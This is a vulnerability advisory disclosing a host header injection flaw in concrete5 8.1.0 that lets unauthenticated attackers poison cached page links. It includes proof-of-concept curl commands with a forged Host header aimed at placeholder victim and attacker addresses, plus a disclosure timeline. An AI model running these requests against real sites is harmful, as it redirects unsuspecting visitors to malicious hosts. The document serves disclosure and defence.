[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.
Host Header Injection
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.
Example MySQL data from "CollectionVersionBlocksOutputCache" table.
(164, 1, 57, 'Header Site Title', 'Elemental', 1649861489
c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more
Services :: POC
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"
Navigate to one of these URLs:
Click on links in header portion of the webpage from one of the above URLs.
Team / Drop down Menu
click on the links on footer portion of the webpage.
FAQ / Help
View on Google Maps
Result: user gets redirected to attacker-ip.
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
# Iranian Exploit DataBase = http://IeDb.Ir [2017-04-17]